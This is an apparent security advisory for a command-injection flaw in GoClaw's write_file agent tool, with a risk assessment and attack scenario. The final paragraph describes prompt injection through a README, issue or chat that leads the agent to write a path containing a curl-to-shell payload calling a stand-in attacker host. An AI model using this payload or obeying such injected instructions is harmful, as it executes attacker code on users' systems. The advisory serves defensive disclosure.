GoClaw CVE-2026-10219

Exploitation requires that the attacker can influence the path argument passed to GoClaw's write_file tool on a version up to 3.11.3 - typically by getting the agent to act on attacker-controlled instructions or content (prompt injection, malicious repository files, untrusted task input) such that a path string containing shell metacharacters like $(...) or backticks reaches FsBridge.WriteFile. No authentication to GoClaw itself is required by the CVSS vector (PR:N), but in practice an exploitation path through the LLM tool interface must exist and the write_file tool must be enabled in the agent configuration. Limiting factors: command execution is contained to the Docker sandbox container, so impact depends on what that container can reach (mounted volumes, network egress, secrets); deployments that disable write_file, run the sandbox as an unprivileged user with read-only mounts, or sanitize tool-argument paths upstream materially reduce realistic risk.

Signals are mixed and warrant prioritization above the raw CVSS number. The CVSS:3.1 vector AV:N/AC:L/PR:N/UI:N scores network-reachable, unauthenticated, low-complexity exploitation, but in practice GoClaw's write_file tool is exposed through an LLM-driven agent interface - so the realistic attack vector is an attacker who can influence the agent's tool inputs (e.g., via a prompt-injectable document, repository content, or chat input) rather than a raw internet listener; the scope is therefore unchanged (S:U) and impacts are bounded to the sandbox container (C:L/I:L/A:L). The temporal vector flags Exploit=Proof-of-concept and Report=Reasonable, matching the public exploit reference at GitHub issue #1121. This CVE is not on CISA KEV and no EPSS score was provided, so there is no signal of mass exploitation; however, publicly available exploit code exists, the patch PR is still unmerged, and the only mitigation barrier is a sandbox boundary the bug itself is designed to abuse. Net: treat as a real priority for any GoClaw deployment processing untrusted input, while recognizing exploitation is mediated by the agent rather than a direct network listener.

An attacker seeds untrusted content the GoClaw agent will process - for example, a README, issue body, or chat message that instructs the agent to write a file at a path like nested/evil$(curl attacker.tld/x.sh|sh);name.txt. When the agent calls the write_file tool, FsBridge.WriteFile interpolates that path into sh -c "cat > <path>" inside the sandbox container, the shell evaluates the $(...) substitution, and arbitrary commands execute with the sandbox user's privileges. Public exploit code referenced from the VulDB entry demonstrates the technique, so weaponization cost is essentially zero.